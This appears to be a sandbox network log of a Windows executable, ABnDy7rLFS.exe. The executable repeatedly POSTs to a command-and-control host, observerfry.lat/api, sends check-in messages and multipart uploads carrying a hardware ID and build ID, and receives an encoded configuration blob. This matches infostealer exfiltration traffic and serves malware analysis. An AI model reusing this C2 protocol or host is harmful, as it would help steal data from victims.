2024-12-23 06:52:15 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tuhkqs85s7ak52024br0lkb199; expires=Fri, 18 Apr 2025 00:38:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EnVkvGBt6IJjQf7LV%2BMzYs7ZBeIjl4mF%2BwERYC96ozJRcXCzK%2FrYsqwCmv2Bbkg%2F%2F7mMiTRlJM4RJCJxdRDfXHtAYbzBiJVmcvWJzWiGQTInZzBILcW1YdB5oHeHFsN3Hyg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666d814a9f4328-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1597&rtt_var=606&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1796923&cwnd=220&unsent_bytes=0&cid=1bc82bb9d3415844&ts=896&x=0"
2024-12-23 06:52:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 06:52:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49708	104.21.36.201	443	4608	C:\Users\user\Desktop\ABnDy7rLFS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:16 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: observerfry.lat
2024-12-23 06:52:16 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 06:52:17 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dcol92je1shg2osso38jfgvt9h; expires=Fri, 18 Apr 2025 00:38:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P3QwyBI%2F9CRDaNL0aA0oheYNkOR62OB16bTs54ZeiIGIUtIK5gb6kcSJazCCt3zeyFSY12xMKNmxK5waiz3%2BuY6kQZ%2BngdhKUoq1eBNunZm2SdqBzYhisXX7QzxIZ6AFsYw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666d8e7c2e4205-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1735&min_rtt=1713&rtt_var=686&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=946&delivery_rate=1544973&cwnd=252&unsent_bytes=0&cid=a321f0f8573d7807&ts=787&x=0"
2024-12-23 06:52:17 UTC	246	IN	Data Raw: 31 63 64 33 0d 0a 62 73 65 4c 5a 74 50 6b 56 59 75 50 75 63 2f 62 7a 35 2b 46 30 4d 4e 6b 63 33 4e 67 77 41 50 30 57 2f 68 45 2b 76 31 42 35 6b 6b 56 35 66 31 45 36 64 42 35 71 66 7a 63 37 65 47 37 37 66 43 31 37 30 59 53 46 30 4c 36 5a 5a 55 33 69 79 48 57 33 7a 65 4c 61 31 53 68 36 67 71 67 67 58 6d 70 36 73 48 74 34 5a 54 6b 70 37 57 74 52 6b 6c 52 42 61 70 68 6c 54 65 61 4a 5a 47 53 4d 59 6f 71 42 71 76 73 44 72 61 48 4d 65 72 6a 31 4b 71 2b 71 76 37 76 76 71 6f 4a 47 78 35 43 37 43 47 52 49 64 70 2b 32 4c 41 6b 6b 69 67 6a 70 76 67 4e 38 5a 6c 35 38 4b 33 63 6f 66 6e 31 76 65 53 31 6f 51 67 56 46 77 75 6f 61 35 77 2f 6d 79 43 51 6a 53 69 41 49 51 61 6c 37 77 2b 38 6a 69 58 6e 36 64 4f 68 75 4b 44 2b 70 2f 7a 68 41 51 6c 52 Data Ascii: 1cd3bseLZtPkVYuPuc/bz5+F0MNkc3NgwAP0W/hE+v1B5kkV5f1E6dB5qfzc7eG77fC170YSF0L6ZZU3iyHW3zeLa1Sh6gqggXmp6sHt4ZTkp7WtRklRBaphlTeaJZGSMYoqBqvsDraHMerj1Kq+qv7vvqoJGx5C7CGRIdp+2LAkkigjpvgN8Zl58K3cofn1veS1oQgVFwuoa5w/myCQjSiAIQal7w+8jiXn6dOhuKD+p/zhAQlR
2024-12-23 06:52:17 UTC	1369	IN	Data Raw: 57 75 49 79 70 44 71 4c 4e 34 32 53 4d 34 4a 72 45 2b 76 77 52 4c 61 4b 64 37 47 74 30 36 47 33 71 50 37 6f 74 61 41 47 41 78 34 43 6f 57 6d 65 50 5a 41 70 6c 35 41 74 6a 69 77 45 72 4f 34 4c 74 6f 34 78 35 75 36 62 34 2f 6d 71 35 61 66 71 34 53 59 42 45 67 47 32 62 49 64 35 68 57 69 42 33 79 53 49 61 31 54 6c 37 77 71 77 69 7a 66 37 35 64 43 6d 76 4c 2f 32 37 72 2b 73 42 68 77 62 44 61 46 68 6b 54 4f 51 4b 5a 4b 62 4c 6f 6b 74 44 4b 57 70 53 76 47 42 4c 36 6d 31 6d 34 36 38 76 66 72 72 70 4f 4d 38 55 51 35 4d 75 79 47 52 4e 64 70 2b 32 4a 63 6d 68 79 67 48 71 75 6f 4d 75 70 51 33 2b 2b 76 57 71 4b 75 72 2b 4f 6d 34 6f 68 51 62 48 77 53 68 61 4a 30 77 6e 79 47 63 33 32 33 45 4c 42 54 6c 73 55 53 51 69 7a 7a 6c 35 38 79 74 2b 62 4b 7a 2f 76 4b 6d 43 6c 46 Data Ascii: WuIypDqLN42SM4JrE+vwRLaKd7Gt06G3qP7otaAGAx4CoWmePZApl5AtjiwErO4Lto4x5u6b4/mq5afq4SYBEgG2bId5hWiB3ySIa1Tl7wqwizf75dCmvL/27r+sBhwbDaFhkTOQKZKbLoktDKWpSvGBL6m1m468vfrrpOM8UQ5MuyGRNdp+2JcmhygHquoMupQ3++vWqKur+Om4ohQbHwShaJ0wnyGc323ELBTlsUSQizzl58yt+bKz/vKmClF
2024-12-23 06:52:17 UTC	1369	IN	Data Raw: 4a 70 35 31 47 61 66 68 32 50 63 61 79 61 6d 2f 51 65 37 78 41 4c 71 34 39 57 71 72 2b 33 69 71 61 76 68 41 52 31 52 57 75 4a 73 6c 7a 47 63 4e 4a 65 53 49 49 6f 6c 41 36 44 6d 44 4c 47 47 4f 75 7a 70 30 4b 61 36 6f 50 6e 31 75 4b 45 4f 46 42 41 49 71 43 48 59 65 5a 30 2b 32 4d 64 6a 74 54 77 48 35 39 77 48 76 34 67 77 2f 36 33 45 34 36 44 74 2b 75 76 79 2b 55 59 63 47 51 65 6e 62 70 63 7a 6c 43 4f 53 6b 79 75 4b 4b 42 36 71 37 51 53 39 6a 6a 33 6b 34 39 2b 6c 73 4b 62 32 34 62 4b 67 44 46 46 66 51 71 56 35 31 6d 48 61 45 70 2b 54 4c 6f 74 70 4f 61 62 6e 43 72 61 51 64 2f 61 6a 77 75 32 2b 6f 62 32 2f 38 71 30 50 45 52 6f 49 70 6d 47 52 4e 4a 38 6c 6e 35 77 75 67 79 45 43 6f 75 30 49 75 49 73 78 36 65 72 66 71 4b 75 6f 39 4f 75 2b 34 55 68 52 46 68 72 69 Data Ascii: Jp51Gafh2Pcayam/Qe7xALq49Wqr+3iqavhAR1RWuJslzGcNJeSIIolA6DmDLGGOuzp0Ka6oPn1uKEOFBAIqCHYeZ0+2MdjtTwH59wHv4gw/63E46Dt+uvy+UYcGQenbpczlCOSkyuKKB6q7QS9jj3k49+lsKb24bKgDFFfQqV51mHaEp+TLotpOabnCraQd/ajwu2+ob2/8q0PERoIpmGRNJ8ln5wugyECou0IuIsx6erfqKuo9Ou+4UhRFhri
2024-12-23 06:52:17 UTC	1369	IN	Data Raw: 30 71 32 4d 64 6a 6a 53 49 65 71 2b 63 4e 76 49 41 2f 37 75 50 57 70 72 2b 6d 2b 75 43 30 72 41 34 63 46 41 47 6a 5a 5a 77 72 6d 53 32 53 6b 69 6e 45 5a 55 79 69 38 55 54 70 78 68 44 6c 78 4d 75 32 71 37 75 39 2b 50 79 34 52 68 59 64 51 76 6f 68 6c 54 61 54 4b 5a 43 58 4c 49 73 76 41 71 50 76 43 62 53 4a 50 66 76 6c 31 61 43 79 6f 76 62 31 73 71 77 43 48 52 55 4b 71 57 76 57 64 39 6f 68 67 4e 39 37 78 42 34 42 71 75 6b 48 70 38 59 6f 70 2f 53 62 71 72 58 74 70 61 65 2b 72 77 59 65 48 51 36 70 61 5a 63 31 6c 43 47 64 6c 69 75 4d 4f 51 32 68 34 51 57 2f 69 54 62 74 36 4e 36 70 76 71 6e 37 36 50 4c 76 52 68 59 4a 51 76 6f 68 75 52 36 76 5a 4c 6d 6c 59 35 74 6c 46 65 58 75 43 50 48 65 64 2b 58 75 31 36 57 32 71 2f 54 72 75 4b 67 4e 48 52 6f 47 72 6d 69 54 50 Data Ascii: 0q2MdjjSIeq+cNvIA/7uPWpr+m+uC0rA4cFAGjZZwrmS2SkinEZUyi8UTpxhDlxMu2q7u9+Py4RhYdQvohlTaTKZCXLIsvAqPvCbSJPfvl1aCyovb1sqwCHRUKqWvWd9ohgN97xB4BqukHp8Yop/SbqrXtpae+rwYeHQ6paZc1lCGdliuMOQ2h4QW/iTbt6N6pvqn76PLvRhYJQvohuR6vZLmlY5tlFeXuCPHed+Xu16W2q/TruKgNHRoGrmiTP
2024-12-23 06:52:17 UTC	1369	IN	Data Raw: 5a 4d 59 4d 69 48 71 76 6b 43 37 6d 4f 50 75 6a 70 33 71 43 2f 6f 66 66 6d 74 61 38 49 47 56 46 4d 34 6d 61 4f 65 63 4a 6d 75 59 38 34 6c 6a 30 42 68 4f 51 4c 38 5a 6c 35 38 4b 33 63 6f 66 6e 31 76 65 36 67 70 51 73 44 47 41 57 73 62 70 55 72 6d 79 75 54 6a 53 53 4c 4c 77 75 70 37 77 75 33 68 7a 4c 6a 34 64 79 6f 73 71 4c 78 70 2f 7a 68 41 51 6c 52 57 75 4a 50 6e 53 71 4e 4a 5a 61 55 4e 5a 39 72 45 2b 76 77 52 4c 61 4b 64 37 47 74 32 4b 61 79 71 66 33 72 73 71 55 4c 45 51 4d 4e 70 57 61 66 4d 6f 67 73 6e 35 67 6f 6a 43 41 44 6f 2f 73 49 76 35 51 79 2b 2f 2b 62 34 2f 6d 71 35 61 66 71 34 54 41 57 41 52 4b 68 49 36 63 76 6d 54 43 54 6b 69 2f 45 4e 45 4b 38 71 51 4f 39 78 6d 2b 70 36 39 53 6b 75 71 4c 38 37 72 36 73 41 78 67 55 41 36 52 6c 6e 44 4f 61 49 4a Data Ascii: ZMYMiHqvkC7mOPujp3qC/offmta8IGVFM4maOecJmuY84lj0BhOQL8Zl58K3cofn1ve6gpQsDGAWsbpUrmyuTjSSLLwup7wu3hzLj4dyosqLxp/zhAQlRWuJPnSqNJZaUNZ9rE+vwRLaKd7Gt2Kayqf3rsqULEQMNpWafMogsn5gojCADo/sIv5Qy+/+b4/mq5afq4TAWARKhI6cvmTCTki/ENEK8qQO9xm+p69SkuqL87r6sAxgUA6RlnDOaIJ
2024-12-23 06:52:17 UTC	1369	IN	Data Raw: 4d 6b 79 69 35 55 54 70 78 6a 54 75 37 74 71 6e 73 4b 48 79 34 4c 61 7a 44 42 59 44 41 36 4e 71 6d 7a 57 61 4b 35 57 56 49 6f 30 6d 41 4b 6a 75 41 37 36 44 64 36 65 74 33 4c 58 35 39 62 33 47 76 36 6f 4b 53 6b 74 43 76 53 2b 50 65 5a 30 71 32 4d 64 6a 68 43 45 4a 72 2b 51 48 76 6f 55 6c 36 4f 76 4a 72 62 53 6e 37 2b 32 35 70 41 73 63 48 41 47 6b 5a 35 30 31 69 43 2b 59 6e 43 6a 45 5a 55 79 69 38 55 54 70 78 68 54 2b 2b 39 47 71 74 62 76 32 35 72 47 33 43 77 46 52 54 4f 4a 77 6b 53 6a 61 66 6f 36 50 4e 49 4d 30 51 72 79 70 41 37 33 47 62 36 6e 72 30 71 75 2b 71 2f 50 31 74 36 63 4a 48 68 67 4c 70 6d 6d 56 4f 5a 34 69 6e 35 6f 67 69 43 41 4c 70 75 59 41 75 49 67 2b 35 71 32 56 37 62 36 31 76 62 2f 79 67 42 30 53 48 51 2f 69 66 74 67 67 32 69 47 55 33 33 76 Data Ascii: Mkyi5UTpxjTu7tqnsKHy4LazDBYDA6NqmzWaK5WVIo0mAKjuA76Dd6et3LX59b3Gv6oKSktCvS+PeZ0q2MdjhCEJr+QHvoUl6OvJrbSn7+25pAscHAGkZ501iC+YnCjEZUyi8UTpxhT++9Gqtbv25rG3CwFRTOJwkSjafo6PNIM0QrypA73Gb6nr0qu+q/P1t6cJHhgLpmmVOZ4in5ogiCALpuYAuIg+5q2V7b61vb/ygB0SHQ/iftgg2iGU33v
2024-12-23 06:52:17 UTC	296	IN	Data Raw: 63 6b 50 70 34 4d 77 2f 36 2f 75 72 72 65 6a 2b 76 48 79 76 6a 6c 66 55 51 32 34 49 63 34 41 67 32 61 66 6b 32 50 63 61 78 6d 69 36 51 4f 72 6b 44 44 6c 2f 4e 43 67 74 59 2f 79 34 4b 53 69 43 52 49 41 43 2b 35 71 6d 33 6e 55 5a 70 2b 48 59 39 78 72 49 36 4c 2f 42 35 36 46 4a 75 43 74 6c 65 32 2b 75 37 32 2f 38 70 39 47 41 78 49 53 6f 57 36 48 42 39 70 2b 67 61 46 6a 6a 7a 30 4c 74 65 6f 53 75 6f 73 37 2b 4e 4f 62 39 65 33 2f 72 37 58 67 38 78 6c 52 44 6a 33 73 49 5a 64 35 77 68 2b 42 33 7a 58 45 63 31 37 72 71 52 62 78 33 6e 65 75 37 73 6d 2f 76 36 37 72 35 50 57 66 4f 44 59 48 43 4b 56 78 6b 53 36 56 5a 74 62 66 4c 4d 52 7a 4e 65 58 67 41 36 71 58 49 65 54 39 33 4f 32 47 34 37 33 2f 38 76 6c 47 4a 42 49 4d 72 47 61 41 4b 4e 63 42 6a 70 55 6b 6c 43 77 62 Data Ascii: ckPp4Mw/6/urrej+vHyvjlfUQ24Ic4Ag2afk2Pcaxmi6QOrkDDl/NCgtY/y4KSiCRIAC+5qm3nUZp+HY9xrI6L/B56FJuCtle2+u72/8p9GAxISoW6HB9p+gaFjjz0LteoSuos7+NOb9e3/r7Xg8xlRDj3sIZd5wh+B3zXEc17rqRbx3neu7sm/v67r5PWfODYHCKVxkS6VZtbfLMRzNeXgA6qXIeT93O2G473/8vlGJBIMrGaAKNcBjpUklCwb
2024-12-23 06:52:17 UTC	1369	IN	Data Raw: 32 63 34 39 0d 0a 57 5a 55 79 33 71 56 7a 78 77 54 54 37 2f 39 32 75 72 36 36 36 32 59 79 47 48 42 77 58 46 62 4e 66 71 44 36 41 4b 35 36 49 4d 73 67 2b 44 36 76 6e 41 36 66 47 65 61 6e 69 6d 2f 57 41 37 62 57 6e 6a 65 39 47 43 56 46 61 34 6c 53 56 4e 35 51 68 6a 6f 35 75 6f 7a 45 42 6f 2f 34 56 38 63 68 33 37 36 32 44 2f 66 66 74 2b 66 62 79 2b 56 5a 44 53 6c 66 78 4e 73 5a 72 68 57 69 42 33 7a 58 45 63 31 37 72 71 52 62 78 33 6e 65 75 37 73 6d 2f 76 36 37 72 35 50 57 66 4f 44 38 57 42 4b 64 6d 68 6e 75 30 4c 59 79 59 59 38 70 72 41 2b 57 78 50 66 48 4f 64 39 61 6a 6d 37 58 35 39 62 33 53 73 61 38 49 46 67 63 54 37 30 2b 52 50 35 38 68 69 4e 30 4e 6a 7a 38 4c 35 61 64 45 74 38 5a 76 75 61 4f 62 71 61 6a 74 70 62 66 67 2b 6c 4e 43 52 6c 4c 77 66 74 67 67 Data Ascii: 2c49WZUy3qVzxwTT7/92ur6662YyGHBwXFbNfqD6AK56IMsg+D6vnA6fGeanim/WA7bWnje9GCVFa4lSVN5Qhjo5uozEBo/4V8ch3762D/fft+fby+VZDSlfxNsZrhWiB3zXEc17rqRbx3neu7sm/v67r5PWfOD8WBKdmhnu0LYyYY8prA+WxPfHOd9ajm7X59b3Ssa8IFgcT70+RP58hiN0Njz8L5adEt8ZvuaObqajtpbfg+lNCRlLwftgg
2024-12-23 06:52:17 UTC	1369	IN	Data Raw: 45 56 70 52 55 79 73 4f 6f 4b 76 34 45 68 2b 4b 32 56 37 62 62 74 70 64 37 79 36 55 59 75 58 30 4b 36 49 63 35 35 72 79 57 57 6b 53 53 53 4f 6b 47 43 35 77 4f 77 6b 43 66 2b 34 70 53 44 6a 34 79 39 71 66 4b 6e 52 6b 6c 44 54 4f 4a 6c 68 33 6e 43 64 73 72 45 64 74 64 38 58 50 66 32 53 71 6a 47 49 61 6d 31 69 65 50 35 76 37 32 2f 38 75 59 46 41 77 4d 45 6f 58 65 56 66 71 51 59 76 35 45 6b 68 54 30 63 71 4f 55 6c 73 70 63 39 31 39 50 4f 72 72 65 6a 2b 76 47 6a 34 55 68 52 48 6b 4c 36 57 4e 5a 78 32 68 6e 57 33 7a 76 45 63 30 79 51 36 67 71 2f 67 53 48 34 6f 50 79 6a 76 71 7a 72 39 37 2b 74 4a 78 49 41 43 4f 49 76 31 6a 2f 61 66 73 72 52 59 34 41 36 54 50 32 35 56 75 72 54 5a 4c 36 39 69 62 4c 33 74 4c 33 78 38 76 6c 55 58 31 45 51 34 6a 6e 57 66 70 6b 30 69 Data Ascii: EVpRUysOoKv4Eh+K2V7bbtpd7y6UYuX0K6Ic55ryWWkSSSOkGC5wOwkCf+4pSDj4y9qfKnRklDTOJlh3nCdsrEdtd8XPf2SqjGIam1ieP5v72/8uYFAwMEoXeVfqQYv5EkhT0cqOUlspc919POrrej+vGj4UhRHkL6WNZx2hnW3zvEc0yQ6gq/gSH4oPyjvqzr97+tJxIACOIv1j/afsrRY4A6TP25VurTZL69ibL3tL3x8vlUX1EQ4jnWfpk0i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49709	104.21.36.201	443	4608	C:\Users\user\Desktop\ABnDy7rLFS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:19 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MY18BOS1P1XTRQDEHO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12845 Host: observerfry.lat
2024-12-23 06:52:19 UTC	12845	OUT	Data Raw: 2d 2d 4d 59 31 38 42 4f 53 31 50 31 58 54 52 51 44 45 48 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 43 36 39 35 42 41 35 34 45 45 33 33 33 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 59 31 38 42 4f 53 31 50 31 58 54 52 51 44 45 48 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 59 31 38 42 4f 53 31 50 31 58 54 52 51 44 45 48 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --MY18BOS1P1XTRQDEHOContent-Disposition: form-data; name="hwid"97C695BA54EE3336AC8923850305D13E--MY18BOS1P1XTRQDEHOContent-Disposition: form-data; name="pid"2--MY18BOS1P1XTRQDEHOContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-23 06:52:20 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5t16fmt7ksrep3pmpg20qob08c; expires=Fri, 18 Apr 2025 00:38:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g%2BhPScum6C3TG2tnFqOeRh90XxG%2BsyyBRdhF%2FrDWDS1kSKqAd1AaCaQdixQh9wRwbsR7ipCl3mZs8Am%2FjnJ7LIw6PheFdlUIJ5IkJdhfBH2BNbnJGYkt5ZVegjUTCH3j7jc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666d9d7a0642fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2323&min_rtt=2309&rtt_var=894&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13784&delivery_rate=1205117&cwnd=247&unsent_bytes=0&cid=f48591e3a8a106d2&ts=749&x=0"
2024-12-23 06:52:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:52:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49710	104.21.36.201	443	4608	C:\Users\user\Desktop\ABnDy7rLFS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:21 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6FGQ4HLDIAXJ1L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15039 Host: observerfry.lat
2024-12-23 06:52:21 UTC	15039	OUT	Data Raw: 2d 2d 36 46 47 51 34 48 4c 44 49 41 58 4a 31 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 43 36 39 35 42 41 35 34 45 45 33 33 33 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 36 46 47 51 34 48 4c 44 49 41 58 4a 31 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 46 47 51 34 48 4c 44 49 41 58 4a 31 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 36 46 47 51 34 48 4c 44 Data Ascii: --6FGQ4HLDIAXJ1LContent-Disposition: form-data; name="hwid"97C695BA54EE3336AC8923850305D13E--6FGQ4HLDIAXJ1LContent-Disposition: form-data; name="pid"2--6FGQ4HLDIAXJ1LContent-Disposition: form-data; name="lid"PsFKDg--pablo--6FGQ4HLD
2024-12-23 06:52:22 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qtnhrlbjq5botasvl4iiob321t; expires=Fri, 18 Apr 2025 00:39:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rFHMCEovyViKQ5fheoMya0xEAjA06L797p24YahiK37ki3BVDPGyoQ1WPhyBJtykw7pL4MUmOZPDfJQQZIZ%2BdOLo%2B7%2F9jD10M%2BN1z4psp8xABD1vHgdLlCozLgeqNDiZLaQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666dac3b89728d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2040&min_rtt=2040&rtt_var=766&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2836&recv_bytes=15974&delivery_rate=1428571&cwnd=234&unsent_bytes=0&cid=634b406c181290b3&ts=826&x=0"
2024-12-23 06:52:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 06:52:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49711	104.21.36.201	443	4608	C:\Users\user\Desktop\ABnDy7rLFS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:23 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8D9EM9ORU4VPV8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20555 Host: observerfry.lat
2024-12-23 06:52:23 UTC	15331	OUT	Data Raw: 2d 2d 38 44 39 45 4d 39 4f 52 55 34 56 50 56 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 43 36 39 35 42 41 35 34 45 45 33 33 33 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 38 44 39 45 4d 39 4f 52 55 34 56 50 56 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 38 44 39 45 4d 39 4f 52 55 34 56 50 56 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 38 44 39 45 4d 39 4f 52 Data Ascii: --8D9EM9ORU4VPV8Content-Disposition: form-data; name="hwid"97C695BA54EE3336AC8923850305D13E--8D9EM9ORU4VPV8Content-Disposition: form-data; name="pid"3--8D9EM9ORU4VPV8Content-Disposition: form-data; name="lid"PsFKDg--pablo--8D9EM9OR
